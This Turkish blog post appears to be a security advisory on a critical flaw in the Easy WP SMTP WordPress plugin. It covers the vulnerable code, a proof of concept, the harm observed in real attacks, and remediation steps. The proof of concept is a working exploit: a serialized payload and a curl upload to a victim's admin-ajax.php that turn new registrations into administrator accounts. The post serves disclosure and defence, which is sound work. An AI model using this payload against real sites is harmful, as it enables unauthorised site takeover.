WordPress Easy WP SMTP eklentisindeki kritik güvenlik açığının düzeltilmesi

By | 21 Mart 2019

300.000+ etkin kurulumu olan popüler WordPress eklentisi Easy WP SMTP, kimliği doğrulanmamış bir kullanıcının WordPress seçeneklerini değiştirmesine veya diğer kötü niyetli eylemlere neden olacak kod enjekte etmesine ve yürütmesine izin veren kritik bir güvenlik açığına yatkındı.

Sürüm v.1.3.9’da bulunan güvenlik açığı, bilgisayar korsanları tarafından en az 15 Mart’tan (11: 00 UTC) beri istismar edildi ve NinjaFirewall eklentisi tarafından yakalandı.

add_action( 'admin_init', array( $this, 'admin_init' ) );
...
...
function admin_init() {
	if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
		 add_action( 'wp_ajax_swpsmtp_clear_log', array( $this, 'clear_log' ) );
		 add_action( 'wp_ajax_swpsmtp_self_destruct', array( $this, 'self_destruct_handler' ) );
	}

	//view log file
	if ( isset( $_GET[ 'swpsmtp_action' ] ) ) {
	    if ( $_GET[ 'swpsmtp_action' ] === 'view_log' ) {
		$log_file_name = $this->opts[ 'smtp_settings' ][ 'log_file_name' ];
		if ( ! file_exists( plugin_dir_path( __FILE__ ) . $log_file_name ) ) {
		    if ( $this->log( "Easy WP SMTP debug log file\r\n\r\n" ) === false ) {
			wp_die( 'Can\'t write to log file. Check if plugin directory  (' . plugin_dir_path( __FILE__ ) . ') is writeable.' );
		    };
		}
		$logfile = fopen( plugin_dir_path( __FILE__ ) . $log_file_name, 'rb' );
		if ( ! $logfile ) {
		    wp_die( 'Can\'t open log file.' );
		}
		header( 'Content-Type: text/plain' );
		fpassthru( $logfile );
		die;
	    }
	}

	//check if this is export settings request
	$is_export_settings = filter_input( INPUT_POST, 'swpsmtp_export_settings', FILTER_SANITIZE_NUMBER_INT );
	if ( $is_export_settings ) {
	    $data					 = array();
	    $opts					 = get_option( 'swpsmtp_options', array() );
	    $data[ 'swpsmtp_options' ]		 = $opts;
	    $swpsmtp_pass_encrypted			 = get_option( 'swpsmtp_pass_encrypted', false );
	    $data[ 'swpsmtp_pass_encrypted' ]	 = $swpsmtp_pass_encrypted;
	    if ( $swpsmtp_pass_encrypted ) {
		$swpsmtp_enc_key		 = get_option( 'swpsmtp_enc_key', false );
		$data[ 'swpsmtp_enc_key' ]	 = $swpsmtp_enc_key;
	    }
	    $smtp_test_mail			 = get_option( 'smtp_test_mail', array() );
	    $data[ 'smtp_test_mail' ]	 = $smtp_test_mail;
	    $out				 = array();
	    $out[ 'data' ]			 = serialize( $data );
	    $out[ 'ver' ]			 = 1;
	    $out[ 'checksum' ]		 = md5( $out[ 'data' ] );

	    $filename = 'easy_wp_smtp_settings.txt';
	    header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
	    header( 'Content-Type: text/plain' );
	    echo serialize( $out );
	    exit;
	}

	$is_import_settings = filter_input( INPUT_POST, 'swpsmtp_import_settings', FILTER_SANITIZE_NUMBER_INT );
	if ( $is_import_settings ) {
		 $err_msg = __( 'Error occurred during settings import', 'easy-wp-smtp' );
		 if ( empty( $_FILES[ 'swpsmtp_import_settings_file' ] ) ) {
			echo $err_msg;
			wp_die();
		}
		$in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );
		try {
			$in = unserialize( $in_raw );
			if ( empty( $in[ 'data' ] ) ) {
				 echo $err_msg;
				 wp_die();
			}
			if ( empty( $in[ 'checksum' ] ) ) {
				 echo $err_msg;
				 wp_die();
			}
			if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) {
				 echo $err_msg;
				 wp_die();
			}
			$data = unserialize( $in[ 'data' ] );
			foreach ( $data as $key => $value ) {
				 update_option( $key, $value );
			}
			set_transient( 'easy_wp_smtp_settings_import_success', true, 60 * 60 );
			$url = admin_url() . 'options-general.php?page=swpsmtp_settings';
			wp_safe_redirect( $url );
			exit;
		} catch ( Exception $ex ) {
			echo $err_msg;
			wp_die();
		}
	}
}

Yukarıdaki admin_init () işlevi, easy-wp-smtp.php betiğinden, bir kullanıcı admin alanına eriştiğinde admin_init hook ile çalıştırılır. Günlüğü görüntülemek / silmek, eklenti yapılandırmasını içe / dışa aktarmak ve WordPress veritabanındaki seçenekleri güncellemek için kullanılır. Kullanıcı kapasitesini kontrol etmez, dolayısıyla abone gibi giriş yapmış herhangi bir kullanıcı bunu tetikleyebilir. Ancak, kimliği doğrulanmamış kullanıcılar tarafından da yürütülebilir, çünkü Easy WP SMTP, AJAX’ı kullanır ve admin_init kancası, WordPress API belgesinde belirtildiği gibi admin-ajax.php üzerinde de çalışır.

Not : Bu yalnızca kullanıcının karşılaştığı yönetici ekranlarında çalışmaz. Admin-ajax.php ve admin-post.php ile de çalışır.

Bu nedenle, kimliği doğrulanmamış bir kullanıcı yukarıdaki işlevi tetiklemek ve kodunu çalıştırmak için bir AJAX isteği gönderebilir, örneğin, action = swpsmtp_clear_log.

Kavramın ispatı

Aşağıdaki kavram kanıtında, kullanıcıların kaydedilmesini (users_can_register) ve kullanıcının varsayılan rolünü (default_role) veritabanında “yönetici” olarak ayarlayacak kötü niyetli bir seri hale getirilmiş bir dosyayı yüklemek için swpsmtp_import_settings kullanacağız.

1. “/tmp/upload.txt” bir dosya adı oluşturun ve aşağıdaki içeriği ekleyin:

a:2:{s:4:"data";s:81:"a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}";s:8:"checksum";s:32:"3ce5fb6d7b1dbd6252f4b5b3526650c8";}

2. Dosyayı yükleyin:

$ curl https://VICTIM.COM/wp-admin/admin-ajax.php -F 'action=swpsmtp_clear_log' -F 'swpsmtp_import_settings=1' -F 'swpsmtp_import_settings_file=@/tmp/upload.txt'

Bu sayede oluşacak güvenlik açıkları:

  • Kolay WP SMTP güvensiz unerialize () çağrılarını kullandığı için PHP Nesne Enjeksiyonu ile uzaktan kod yürütme.
  • Günlüğü görüntüleme / silme (veya bilgisayar korsanları günlük dosya adını değiştirebildiği için herhangi bir dosyada aynı işlemleri yapabilme).
  • SMTP sunucusu, kullanıcı adı ve şifresini içeren eklenti konfigürasyonunun dışa aktarılması ve spam e-postaların gönderilmesi için kullanılması.

İlginçtir ki, güvenlik duvarı tarafından 15 Mart’ta yakalanan tüm girişimler, bilgisayar korsanlarının veritabanındaki WordPress wp_user_roles seçeneğinin içeriğini değiştirme ve tüm kullanıcılara yönetici yetkileri sağlayarak güvenlik açığından yararlanmaya çalıştığını gösterdi. WordPress “Kullanıcılar” bölümünde kolayca tespit edilebilecek bir yönetici hesabı oluşturmanın aksine, yetkilerin değiştirilmesi neredeyse fark edilmez. Yani basit bir abone, abone olarak görünmeye devam eder, ancak bir yönetici tarafından yapılabilecek her şeyi yapabilir.

15 Mart’ta yazarlara ve wordpress.org ekibine karşı güvenlik açığı olduğu ve 17 Mart’ta yeni bir 1.3.9.1 sürümü çıktığı bildirildi.

Öneriler

1.3.9 sürümünü hala kullanıyorsanız, mümkün olan en kısa sürede güncelleyin.

Web uygulaması güvenlik duvarımızı WordPress, NinjaFirewall WP Edition (ücretsiz) ve NinjaFirewall WP + Edition (premium) için kullanıyorsanız, bu güvenlik açığına karşı korunursunuz.

Easy WP SMTP’nin savunmasız sürümünü kullanıyorsanız, bazı ek öneriler (ayrıntılı olmayan liste):

  • WordPress “Ayarlar> Genel” sayfanızı kontrol edin: Hiçbir şeyin tahrif edilmediğinden emin olun (URL, E-posta Adresi, Üyelik ve Yeni Kullanıcı Varsayılan Rolü).
  • WordPress “Kullanıcılar” sayfanızı kontrol edin: Yeni kullanıcılar, garip yönetici hesapları arayın, yönetici e-posta adresini vb. kontrol edin.
  • Tüm şifreleri değiştirin.
  • Veritabanındaki WordPress “wp_options” tablonuzu kontrol edin. Kullanıcı rolleri ve yetenekleri içeren “wp_user_roles” kısmında değişiklik yapılmadığından emin olun. Ayrıca WordPress için ücretsiz NinjaScanner’ı da kullanabilirsiniz. (*WordPress veritabanı ön ekinizi değiştirdiyseniz, wp_’yi doğru olanla değiştirin.)
  • Dosyalarınızı da tarayın. Bilgisayar korsanları hala açık arka kapılar bırakmış olabilirler.
  • SMTP şifrenizi değiştirin, bilgisayar korsanları çalmış olabilir.

Ninja Firewall edinmek için tıklayınız.

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir